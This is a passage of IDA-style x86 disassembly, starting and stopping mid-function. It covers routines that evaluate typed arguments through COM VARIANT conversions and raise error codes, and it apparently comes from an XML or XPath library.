		jnz	loc_69B66983
		mov	ecx, [ebp+var_10]
		mov	eax, [ecx]
		mov	esi, [ebp+var_20]
		push	offset off_69B1A5AC
		mov	edi, ecx
		call	dword ptr [eax+24h]
		test	al, al
		jz	short loc_69B668F2
		push	esi
		call	sub_69B2F0C4
		jmp	short loc_69B66925
; ---------------------------------------------------------------------------


loc_69B668F2:				; CODE XREF: sub_69B66820+C8j
		push	ebx
		push	edi
		mov	ecx, esi
		call	sub_69B2F19F
		cmp	eax, ebx
		jl	short loc_69B66930
		mov	ecx, [edi+8]
		push	dword ptr [esi+8]
		add	ecx, eax
		push	ecx
		jmp	short loc_69B6691E
; ---------------------------------------------------------------------------


loc_69B6690A:				; CODE XREF: sub_69B66820+ABj
		mov	ecx, [ebp+var_20]
		push	ebx
		push	[ebp+var_10]
		mov	esi, ecx
		call	sub_69B2F19F
		cmp	eax, ebx
		jl	short loc_69B66930
		push	eax
		push	ebx


loc_69B6691E:				; CODE XREF: sub_69B66820+E8j
		mov	ecx, esi
		call	sub_69B2F3CD


loc_69B66925:				; CODE XREF: sub_69B66820+D0j
		push	eax


loc_69B66926:				; CODE XREF: sub_69B66820+115j
		mov	ecx, [ebp+arg_C]
		call	sub_69B48684
		jmp	short loc_69B66983
; ---------------------------------------------------------------------------


loc_69B66930:				; CODE XREF: sub_69B66820+DDj
					; sub_69B66820+FAj
		push	offset off_69B1A5AC
		jmp	short loc_69B66926
; ---------------------------------------------------------------------------


loc_69B66937:				; CODE XREF: sub_69B66820+A8j
		mov	ecx, [ebp+var_10]
		mov	eax, [ecx]
		push	offset off_69B1A5AC
		call	dword ptr [eax+24h]
		test	al, al
		jz	short loc_69B66953
		mov	eax, [ebp+arg_C]
		mov	[eax], edi
		mov	byte ptr [eax+8], 1
		jmp	short loc_69B66983
; ---------------------------------------------------------------------------


loc_69B66953:				; CODE XREF: sub_69B66820+126j
		mov	ecx, [ebp+var_20]
		push	ebx
		push	[ebp+var_10]
		call	sub_69B2F19F
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_C]
		setnz	cl
		mov	[eax], edi
		mov	[eax+8], cl
		jmp	short loc_69B66983
; ---------------------------------------------------------------------------


loc_69B6696F:				; CODE XREF: sub_69B66820+A1j
		mov	ecx, [ebp+var_20]
		push	ebx
		push	[ebp+var_10]
		call	sub_69B2EECD
		mov	ecx, [ebp+arg_C]
		mov	[ecx], edi
		mov	[ecx+8], al


loc_69B66983:				; CODE XREF: sub_69B66820+AEj
					; sub_69B66820+10Ej ...
		lea	ecx, [ebp+var_18]
		call	sub_69B466CC
		lea	ecx, [ebp+var_28]
		call	sub_69B466CC
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B66820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6699A	proc near		; DATA XREF: .text:69B15674o

var_5C		= qword	ptr -5Ch
pvarg		= VARIANTARG ptr -48h
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_30		= qword	ptr -30h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= qword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	ecx, [esi+0Ch]
		mov	eax, [esi+8]
		mov	edx, [ecx+0Ch]
		push	5
		xor	ebx, ebx
		pop	edi
		cmp	eax, edi
		mov	[ebp+var_1], bl
		mov	[ebp+var_C], edx
		jg	loc_69B66E5D
		jz	loc_69B66DDE
		dec	eax
		jz	loc_69B66CC2
		dec	eax
		jz	loc_69B66BCB
		dec	eax
		jz	short loc_69B669E3
		dec	eax
		jnz	loc_69B66E77
		mov	[ebp+var_1], 1


loc_69B669E3:				; CODE XREF: sub_69B6699A+3Cj
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+4], 1
		mov	ecx, [esi+0Ch]
		push	ebx
		call	sub_69B8A163
		mov	ecx, [esi+0Ch]
		push	1
		mov	edi, eax
		call	sub_69B8A163
		lea	ecx, [ebp+var_28]
		push	ecx
		push	[ebp+arg_8]
		mov	esi, eax
		push	[ebp+arg_4]
		mov	[ebp+var_28], ebx
		push	[ebp+arg_0]
		mov	byte ptr [ebp+var_24], bl
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], bl
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+54h]
		push	1
		lea	eax, [ebp+var_28]
		push	eax
		push	3
		pop	edi
		push	edi
		lea	ecx, [ebp+var_28]
		call	sub_69B64008
		fld	[ebp+var_20]
		push	ecx
		push	ecx		; double
		fstp	[esp+5Ch+var_5C]
		call	sub_69B84BCE
		cmp	eax, 200h
		pop	ecx
		pop	ecx
		jz	loc_69B66BAB
		cmp	eax, 1
		jz	loc_69B66BAB
		cmp	eax, 2
		jz	loc_69B66BAB
		cmp	eax, 4
		jz	loc_69B66BAB
		mov	eax, [esi]
		lea	ecx, [ebp+var_38]
		push	ecx
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		push	1
		lea	eax, [ebp+var_38]
		push	eax
		push	5
		lea	ecx, [ebp+var_38]
		call	sub_69B64008
		cmp	[ebp+var_28], edi
		jnz	short loc_69B66A97
		cmp	[ebp+var_38], 5
		jz	short loc_69B66AAA


loc_69B66A97:				; CODE XREF: sub_69B6699A+F5j
		push	ebx
		push	0C00CE604h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B66AAA:				; CODE XREF: sub_69B6699A+FBj
		cmp	[ebp+var_1], bl
		mov	eax, dword ptr [ebp+var_30]
		mov	[ebp+arg_0], eax
		jnz	short loc_69B66B29
		mov	esi, [eax+8]
		push	esi
		call	sub_69B88D8C
		cmp	esi, ebx
		mov	edi, eax
		mov	[ebp+arg_8], ebx
		jle	short loc_69B66B11


loc_69B66AC7:				; CODE XREF: sub_69B6699A+175j
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		call	sub_69B2EDBF
		cmp	word_69B9A180, ax
		jz	short loc_69B66B09
		cmp	word_69B9A184, ax
		jz	short loc_69B66B09
		cmp	word_69B9A188, ax
		jz	short loc_69B66B09
		cmp	word_69B9A18C, ax
		jz	short loc_69B66B09
		cmp	word_69B9A190, ax
		jz	short loc_69B66B09
		push	eax
		mov	ecx, edi
		call	sub_69B88E7C
		mov	edi, eax


loc_69B66B09:				; CODE XREF: sub_69B6699A+13Fj
					; sub_69B6699A+148j ...
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], esi
		jl	short loc_69B66AC7


loc_69B66B11:				; CODE XREF: sub_69B6699A+12Bj
		cmp	[edi+8], ebx
		jle	short loc_69B66B29
		push	ebx
		push	0C00CE609h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B66B29:				; CODE XREF: sub_69B6699A+119j
					; sub_69B6699A+17Aj
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		fld	[ebp+var_20]
		mov	ecx, [ebp+arg_0]
		fstp	qword ptr [ebp+pvarg.anonymous_0+8]
		mov	word ptr [ebp+pvarg.anonymous_0], 5
		call	sub_69B2F352
		mov	esi, eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		push	ebx
		push	ebx
		push	esi
		lea	eax, [ebp+pvarg]
		push	eax
		mov	[ebp+var_C], ebx
		call	sub_69B6FDE2
		test	eax, eax
		jge	short loc_69B66B84
		push	8		; vt
		push	ebx		; wFlags
		call	ds:GetThreadLocale	; GetThreadLocale
		push	eax		; lcid
		lea	eax, [ebp+pvarg]
		push	eax		; pvarSrc
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		test	eax, eax
		jl	short loc_69B66B84
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	[ebp+var_C], eax
		mov	word ptr [ebp+pvarg.anonymous_0], bx


loc_69B66B84:				; CODE XREF: sub_69B6699A+1C5j
					; sub_69B6699A+1DEj
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		push	[ebp+var_C]
		call	sub_69B64036
		mov	ecx, [ebp+arg_C]
		push	eax
		call	sub_69B48684
		push	esi		; BSTR
		call	SysFreeString
		jmp	loc_69B66FF1
; ---------------------------------------------------------------------------


loc_69B66BAB:				; CODE XREF: sub_69B6699A+ADj
					; sub_69B6699A+B6j ...
		push	1
		lea	eax, [ebp+var_28]
		push	eax
		push	5
		lea	ecx, [ebp+var_28]
		call	sub_69B64008
		push	dword ptr [ebp+var_20]
		mov	ecx, [ebp+arg_C]
		call	sub_69B48684
		jmp	loc_69B66FF1
; ---------------------------------------------------------------------------


loc_69B66BCB:				; CODE XREF: sub_69B6699A+35j
		push	ebx
		call	sub_69B8A163
		mov	ecx, [esi+0Ch]
		push	1
		mov	[ebp+var_10], eax
		call	sub_69B8A163
		mov	esi, [esi+0Ch]
		push	2
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B8A163
		cmp	edi, ebx
		mov	esi, eax
		jz	loc_69B66CAC
		mov	eax, [edi]
		lea	ecx, [ebp+pvarg]
		push	ecx
		push	[ebp+arg_8]
		mov	ecx, edi
		push	[ebp+arg_4]
		mov	dword ptr [ebp+pvarg.anonymous_0], ebx
		push	[ebp+arg_0]
		mov	byte ptr [ebp+pvarg.anonymous_0+4], bl
		call	dword ptr [eax+54h]
		xor	edi, edi
		inc	edi
		push	edi
		lea	eax, [ebp+pvarg]
		push	eax
		push	5
		lea	ecx, [ebp+pvarg]
		call	sub_69B64008
		cmp	dword ptr [ebp+pvarg.anonymous_0], 5
		jz	short loc_69B66C3B
		push	ebx
		push	0C00CE388h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B66C3B:				; CODE XREF: sub_69B6699A+28Cj
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	esi, [eax+0Ch]
		push	ebx
		push	[ebp+var_10]
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		push	esi
		call	sub_69B6282D
		cmp	eax, esi
		jz	short loc_69B66C60
		mov	ecx, dword ptr [ebp+pvarg.anonymous_0+8]
		sub	eax, esi
		sar	eax, 1
		cmp	eax, [ecx+8]
		jz	short loc_69B66C73


loc_69B66C60:				; CODE XREF: sub_69B6699A+2B8j
		push	ebx
		push	0C00CE608h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B66C73:				; CODE XREF: sub_69B6699A+2C4j
		mov	eax, [ebp+var_24]
		cmp	eax, ebx
		jz	short loc_69B66C9F
		cmp	eax, dword_69B9B628
		jz	short loc_69B66C8A
		cmp	eax, dword_69B9B620
		jnz	short loc_69B66C9F


loc_69B66C8A:				; CODE XREF: sub_69B6699A+2E6j
		push	eax
		push	dword ptr [ebp+var_20+4]
		call	sub_69B192E9
		lea	ecx, [ebp+pvarg]
		mov	esi, eax
		call	sub_69B466CC
		jmp	short loc_69B66CAF
; ---------------------------------------------------------------------------


loc_69B66C9F:				; CODE XREF: sub_69B6699A+2DEj
					; sub_69B6699A+2EEj
		mov	eax, [ebp+arg_C]
		mov	[eax], edi
		mov	[eax+8], bl
		jmp	loc_69B672BB
; ---------------------------------------------------------------------------


loc_69B66CAC:				; CODE XREF: sub_69B6699A+256j
		xor	edi, edi
		inc	edi


loc_69B66CAF:				; CODE XREF: sub_69B6699A+303j
		push	esi
		call	sub_69B6E1B8
		mov	ecx, [ebp+arg_C]
		mov	[ecx], edi


loc_69B66CBA:				; CODE XREF: sub_69B6699A+43Fj
		mov	[ecx+8], al
		jmp	loc_69B672C3
; ---------------------------------------------------------------------------


loc_69B66CC2:				; CODE XREF: sub_69B6699A+2Ej
		push	ebx
		call	sub_69B8A163
		mov	ecx, [esi+0Ch]
		push	1
		mov	[ebp+var_10], eax
		call	sub_69B8A163
		mov	esi, [esi+0Ch]
		push	2
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B8A163
		cmp	edi, ebx
		mov	esi, eax
		jz	loc_69B66DA8
		mov	eax, [edi]
		lea	ecx, [ebp+pvarg]
		push	ecx
		push	[ebp+arg_8]
		mov	ecx, edi
		push	[ebp+arg_4]
		mov	dword ptr [ebp+pvarg.anonymous_0], ebx
		push	[ebp+arg_0]
		mov	byte ptr [ebp+pvarg.anonymous_0+4], bl
		call	dword ptr [eax+54h]
		push	1
		lea	eax, [ebp+pvarg]
		push	eax
		push	5
		lea	ecx, [ebp+pvarg]
		call	sub_69B64008
		cmp	dword ptr [ebp+pvarg.anonymous_0], 5
		jz	short loc_69B66D30
		push	ebx
		push	0C00CE604h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B66D30:				; CODE XREF: sub_69B6699A+381j
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	edi, [eax+0Ch]
		push	ebx
		push	[ebp+var_10]
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		push	edi
		call	sub_69B6282D
		cmp	eax, edi
		mov	ecx, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	esi, [ecx+8]
		jz	short loc_69B66D57
		sub	eax, edi
		sar	eax, 1
		cmp	eax, esi
		jz	short loc_69B66D6A


loc_69B66D57:				; CODE XREF: sub_69B6699A+3B3j
		push	ebx
		push	0C00CE608h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B66D6A:				; CODE XREF: sub_69B6699A+3BBj
		cmp	[ebp+var_24], ebx
		jnz	short loc_69B66D93
		push	esi
		push	edi
		push	1Ch
		push	offset off_69B672D0
		call	sub_69B63D0A
		mov	ecx, [ebp+arg_C]
		cmp	eax, ebx
		setnz	al
		mov	dword ptr [ecx], 1
		mov	[ecx+8], al
		jmp	loc_69B672BB
; ---------------------------------------------------------------------------


loc_69B66D93:				; CODE XREF: sub_69B6699A+3D3j
		push	[ebp+var_24]
		push	dword ptr [ebp+var_20+4]
		call	sub_69B192E9
		lea	ecx, [ebp+pvarg]
		mov	esi, eax
		call	sub_69B466CC


loc_69B66DA8:				; CODE XREF: sub_69B6699A+34Dj
		cmp	esi, ebx
		jnz	short loc_69B66DBF
		push	ebx
		push	0C00CE388h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B66DBF:				; CODE XREF: sub_69B6699A+410j
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	loc_69B672C3
		mov	eax, [ecx]
		push	esi
		call	dword ptr [eax+10h]
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 1
		jmp	loc_69B66CBA
; ---------------------------------------------------------------------------


loc_69B66DDE:				; CODE XREF: sub_69B6699A+27j
		mov	dword ptr [ebp+pvarg.anonymous_0], ebx
		mov	byte ptr [ebp+pvarg.anonymous_0+4], bl
		call	sub_69B88D77
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_10], eax
		mov	[ebp+var_8], ebx
		jle	short loc_69B66E50


loc_69B66DF4:				; CODE XREF: sub_69B6699A+4B4j
		push	[ebp+var_8]
		mov	ecx, [esi+0Ch]
		call	sub_69B8A163
		mov	edx, [eax]
		lea	ecx, [ebp+pvarg]
		push	ecx
		push	[ebp+arg_8]
		mov	ecx, eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [edx+54h]
		push	1
		lea	eax, [ebp+pvarg]
		push	eax
		push	edi
		lea	ecx, [ebp+pvarg]
		call	sub_69B64008
		cmp	dword ptr [ebp+pvarg.anonymous_0], edi
		jz	short loc_69B66E3A
		push	ebx
		push	0C00CE604h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B66E3A:				; CODE XREF: sub_69B6699A+48Bj
		push	dword ptr [ebp+pvarg.anonymous_0+8]
		mov	ecx, [ebp+var_10]
		call	sub_69B88EA5
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_C]
		jl	short loc_69B66DF4


loc_69B66E50:				; CODE XREF: sub_69B6699A+458j
		mov	ecx, [ebp+var_10]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		jmp	loc_69B67068
; ---------------------------------------------------------------------------


loc_69B66E5D:				; CODE XREF: sub_69B6699A+21j
		sub	eax, 0Ah
		jz	loc_69B67102
		dec	eax
		jz	loc_69B67076
		dec	eax
		jz	loc_69B67001
		dec	eax
		jz	short loc_69B66E90


loc_69B66E77:				; CODE XREF: sub_69B6699A+3Fj
		push	[ebp+arg_C]
		lea	ecx, [esi-8]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B66820
		jmp	loc_69B672C3
; ---------------------------------------------------------------------------


loc_69B66E90:				; CODE XREF: sub_69B6699A+4DBj
		push	ebx
		call	sub_69B8A163
		mov	ecx, [esi+0Ch]
		push	1
		mov	edi, eax
		call	sub_69B8A163
		mov	esi, [esi+0Ch]
		push	2
		mov	ecx, esi
		mov	[ebp+var_10], eax
		call	sub_69B8A163
		lea	ecx, [ebp+var_28]
		push	ecx
		push	[ebp+arg_8]
		mov	esi, eax
		push	[ebp+arg_4]
		mov	[ebp+var_28], ebx
		push	[ebp+arg_0]
		mov	byte ptr [ebp+var_24], bl
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], bl
		mov	dword ptr [ebp+pvarg.anonymous_0], ebx
		mov	byte ptr [ebp+pvarg.anonymous_0+4], bl
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+54h]
		mov	ecx, [ebp+var_10]
		mov	eax, [ecx]
		lea	edx, [ebp+var_38]
		push	edx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		mov	eax, [esi]
		lea	ecx, [ebp+pvarg]
		push	ecx
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		push	1
		lea	eax, [ebp+var_28]
		push	eax
		push	5
		pop	esi
		push	esi
		lea	ecx, [ebp+var_28]
		call	sub_69B64008
		push	1
		lea	eax, [ebp+var_38]
		push	eax
		push	esi
		lea	ecx, [ebp+var_38]
		call	sub_69B64008
		push	1
		lea	eax, [ebp+pvarg]
		push	eax
		push	esi
		lea	ecx, [ebp+pvarg]
		call	sub_69B64008
		cmp	[ebp+var_28], esi
		jnz	short loc_69B66F41
		cmp	[ebp+var_38], esi
		jnz	short loc_69B66F41
		cmp	dword ptr [ebp+pvarg.anonymous_0], esi
		jz	short loc_69B66F54


loc_69B66F41:				; CODE XREF: sub_69B6699A+59Bj
					; sub_69B6699A+5A0j
		push	ebx
		push	0C00CE604h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B66F54:				; CODE XREF: sub_69B6699A+5A5j
		mov	edx, dword ptr [ebp+var_20]
		mov	ecx, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	eax, dword ptr [ebp+var_30]
		mov	esi, [edx+8]
		cmp	esi, ebx
		mov	[ebp+var_8], ecx
		mov	ecx, [ecx+8]
		mov	[ebp+var_10], eax
		mov	eax, [eax+8]
		mov	[ebp+arg_4], edx
		mov	[ebp+var_C], ecx
		jnz	short loc_69B66F7D
		push	offset off_69B1A5AC
		jmp	short loc_69B66FE1
; ---------------------------------------------------------------------------


loc_69B66F7D:				; CODE XREF: sub_69B6699A+5DAj
		cmp	eax, ebx
		jnz	short loc_69B66F89
		push	edx
		call	sub_69B2F0C4
		jmp	short loc_69B66FE0
; ---------------------------------------------------------------------------


loc_69B66F89:				; CODE XREF: sub_69B6699A+5E5j
		call	sub_69B88D77
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_8], ebx
		jle	short loc_69B66FD8


loc_69B66F98:				; CODE XREF: sub_69B6699A+63Cj
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		call	sub_69B2EDBF
		mov	ecx, [ebp+var_10]
		push	ebx
		mov	edi, eax
		movzx	eax, di
		push	eax
		call	sub_69B2EE9A
		cmp	eax, ebx
		jl	short loc_69B66FC7
		cmp	[ebp+var_C], eax
		jle	short loc_69B66FD0
		mov	ecx, [ebp+var_8]
		push	eax
		call	sub_69B2EDBF
		push	eax
		jmp	short loc_69B66FC8
; ---------------------------------------------------------------------------


loc_69B66FC7:				; CODE XREF: sub_69B6699A+61Aj
		push	edi


loc_69B66FC8:				; CODE XREF: sub_69B6699A+62Bj
		mov	ecx, [ebp+arg_0]
		call	sub_69B88E7C


loc_69B66FD0:				; CODE XREF: sub_69B6699A+61Fj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], esi
		jl	short loc_69B66F98


loc_69B66FD8:				; CODE XREF: sub_69B6699A+5FCj
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]


loc_69B66FE0:				; CODE XREF: sub_69B6699A+5EDj
		push	eax


loc_69B66FE1:				; CODE XREF: sub_69B6699A+5E1j
		mov	ecx, [ebp+arg_C]
		call	sub_69B48684
		lea	ecx, [ebp+pvarg]
		call	sub_69B466CC


loc_69B66FF1:				; CODE XREF: sub_69B6699A+20Cj
					; sub_69B6699A+22Cj
		lea	ecx, [ebp+var_38]
		call	sub_69B466CC
		lea	ecx, [ebp+var_28]
		jmp	loc_69B672BE
; ---------------------------------------------------------------------------


loc_69B67001:				; CODE XREF: sub_69B6699A+4D4j
		push	20h
		lea	ecx, [ebp+var_38]
		call	sub_69B3109C
		cmp	[ebp+var_C], ebx
		mov	dword ptr [ebp+pvarg.anonymous_0], ebx
		mov	byte ptr [ebp+pvarg.anonymous_0+4], bl
		jnz	short loc_69B67025
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx]
		push	1
		push	ebx
		push	ebx
		call	dword ptr [eax+4Ch]
		push	eax
		jmp	short loc_69B67058
; ---------------------------------------------------------------------------


loc_69B67025:				; CODE XREF: sub_69B6699A+67Aj
		mov	esi, [esi+0Ch]
		push	ebx
		mov	ecx, esi
		call	sub_69B8A163
		mov	edx, [eax]
		lea	ecx, [ebp+pvarg]
		push	ecx
		push	[ebp+arg_8]
		mov	ecx, eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [edx+54h]
		push	1
		lea	eax, [ebp+pvarg]
		push	eax
		push	edi
		lea	ecx, [ebp+pvarg]
		call	sub_69B64008
		push	1
		push	dword ptr [ebp+pvarg.anonymous_0+8]


loc_69B67058:				; CODE XREF: sub_69B6699A+689j
		lea	ecx, [ebp+var_38]
		call	sub_69B3146D
		lea	ecx, [ebp+var_38]
		call	sub_69B31267


loc_69B67068:				; CODE XREF: sub_69B6699A+4BEj
		mov	ecx, [ebp+arg_C]
		push	eax
		call	sub_69B48684
		jmp	loc_69B672BB
; ---------------------------------------------------------------------------


loc_69B67076:				; CODE XREF: sub_69B6699A+4CDj
		cmp	edx, ebx
		push	ebx
		jnz	short loc_69B6709F
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx]
		push	4
		call	dword ptr [eax+4Ch]
		mov	eax, [eax+8]
		mov	[ebp+arg_8], eax
		fild	[ebp+arg_8]
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 3
		fstp	qword ptr [eax+8]
		jmp	loc_69B672C3
; ---------------------------------------------------------------------------


loc_69B6709F:				; CODE XREF: sub_69B6699A+6DFj
		call	sub_69B8A163
		lea	ecx, [ebp+pvarg]
		push	ecx
		push	[ebp+arg_8]
		mov	dword ptr [ebp+pvarg.anonymous_0], ebx
		push	[ebp+arg_4]
		mov	byte ptr [ebp+pvarg.anonymous_0+4], bl
		push	[ebp+arg_0]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+54h]
		push	1
		lea	eax, [ebp+pvarg]
		push	eax
		push	edi
		lea	ecx, [ebp+pvarg]
		call	sub_69B64008
		cmp	dword ptr [ebp+pvarg.anonymous_0], edi
		jz	short loc_69B670E5
		push	ebx
		push	0C00CE604h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B670E5:				; CODE XREF: sub_69B6699A+736j
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	eax, [eax+8]
		mov	[ebp+arg_8], eax
		fild	[ebp+arg_8]
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 3
		fstp	qword ptr [eax+8]
		jmp	loc_69B672BB
; ---------------------------------------------------------------------------


loc_69B67102:				; CODE XREF: sub_69B6699A+4C6j
		push	ebx
		call	sub_69B8A163
		mov	ecx, [esi+0Ch]
		push	1
		mov	[ebp+var_14], eax
		call	sub_69B8A163
		push	3
		pop	edi
		cmp	[ebp+var_C], edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_8], ebx
		mov	dword ptr [ebp+pvarg.anonymous_0], ebx
		mov	byte ptr [ebp+pvarg.anonymous_0+4], bl
		mov	[ebp+var_10], ebx
		jnz	loc_69B671B9
		mov	esi, [esi+0Ch]
		push	2
		mov	ecx, esi
		call	sub_69B8A163
		mov	edx, [eax]
		lea	ecx, [ebp+pvarg]
		push	ecx
		push	[ebp+arg_8]
		mov	ecx, eax
		push	[ebp+arg_4]
		mov	[ebp+var_8], eax
		push	[ebp+arg_0]
		call	dword ptr [edx+54h]
		push	1
		lea	eax, [ebp+pvarg]
		push	eax
		push	edi
		lea	ecx, [ebp+pvarg]
		call	sub_69B64008
		cmp	dword ptr [ebp+pvarg.anonymous_0], edi
		jz	short loc_69B6717A
		push	ebx
		push	0C00CE604h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B6717A:				; CODE XREF: sub_69B6699A+7CBj
		fld	qword ptr [ebp+pvarg.anonymous_0+8]
		push	ecx
		push	ecx		; double
		fstp	[esp+5Ch+var_5C]
		call	sub_69B84BCE
		cmp	eax, 200h
		pop	ecx
		pop	ecx
		jnz	short loc_69B67195
		mov	[ebp+var_8], ebx
		jmp	short loc_69B671B9
; ---------------------------------------------------------------------------


loc_69B67195:				; CODE XREF: sub_69B6699A+7F4j
		cmp	eax, 1
		jz	short loc_69B671B9
		cmp	eax, 2
		jz	short loc_69B671B9
		cmp	eax, 4
		jz	short loc_69B671B9
		fld	qword ptr [ebp+pvarg.anonymous_0+8]
		push	ecx
		push	ecx		; double
		fstp	[esp+5Ch+var_5C]
		call	sub_69B63D7C
		call	sub_69B1A82C
		mov	[ebp+var_10], eax


loc_69B671B9:				; CODE XREF: sub_69B6699A+790j
					; sub_69B6699A+7F9j ...
		mov	ecx, [ebp+var_14]
		lea	edx, [ebp+var_28]
		push	edx
		push	[ebp+arg_8]
		mov	[ebp+var_28], ebx
		push	[ebp+arg_4]
		mov	byte ptr [ebp+var_24], bl
		push	[ebp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+54h]
		push	1
		lea	eax, [ebp+var_28]
		push	eax
		push	5
		lea	ecx, [ebp+var_28]
		call	sub_69B64008
		mov	ecx, [ebp+var_18]
		lea	edx, [ebp+var_38]
		push	edx
		push	[ebp+arg_8]
		mov	[ebp+var_38], ebx
		push	[ebp+arg_4]
		mov	[ebp+var_34], bl
		push	[ebp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+54h]
		push	1
		lea	eax, [ebp+var_38]
		push	eax
		push	edi
		lea	ecx, [ebp+var_38]
		call	sub_69B64008
		cmp	[ebp+var_28], 5
		jnz	short loc_69B67219
		cmp	[ebp+var_38], edi
		jz	short loc_69B6722C


loc_69B67219:				; CODE XREF: sub_69B6699A+878j
		push	ebx
		push	0C00CE604h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B6722C:				; CODE XREF: sub_69B6699A+87Dj
		fld	[ebp+var_30]
		push	ecx
		push	ecx		; double
		fstp	[esp+5Ch+var_5C]
		call	sub_69B84BCE
		cmp	eax, 1
		pop	ecx
		pop	ecx
		jz	short loc_69B6729E
		cmp	eax, 2
		jz	short loc_69B6729E
		cmp	eax, 4
		jz	short loc_69B6729E
		cmp	eax, 200h
		jz	short loc_69B6729E
		mov	eax, dword ptr [ebp+var_20]
		fld	[ebp+var_30]
		mov	esi, [eax+8]
		push	ecx
		push	ecx		; double
		fstp	[esp+5Ch+var_5C]
		call	sub_69B63D7C
		fsub	ds:dbl_69B29708
		call	sub_69B1A82C
		mov	ecx, [ebp+var_10]
		add	ecx, eax
		cmp	eax, esi
		jge	short loc_69B6729E
		cmp	eax, ebx
		jge	short loc_69B6727E
		xor	eax, eax


loc_69B6727E:				; CODE XREF: sub_69B6699A+8E0j
		cmp	ecx, esi
		jl	short loc_69B67284
		mov	ecx, esi


loc_69B67284:				; CODE XREF: sub_69B6699A+8E6j
		cmp	[ebp+var_8], ebx
		jz	short loc_69B6728F
		push	ecx
		mov	ecx, dword ptr [ebp+var_20]
		jmp	short loc_69B67295
; ---------------------------------------------------------------------------


loc_69B6728F:				; CODE XREF: sub_69B6699A+8EDj
		mov	ecx, dword ptr [ebp+var_20]
		push	dword ptr [ecx+8]


loc_69B67295:				; CODE XREF: sub_69B6699A+8F3j
		push	eax
		call	sub_69B2F3CD
		push	eax
		jmp	short loc_69B672A3
; ---------------------------------------------------------------------------


loc_69B6729E:				; CODE XREF: sub_69B6699A+8A4j
					; sub_69B6699A+8A9j ...
		push	offset off_69B1A5AC


loc_69B672A3:				; CODE XREF: sub_69B6699A+902j
		mov	ecx, [ebp+arg_C]
		call	sub_69B48684
		lea	ecx, [ebp+var_38]
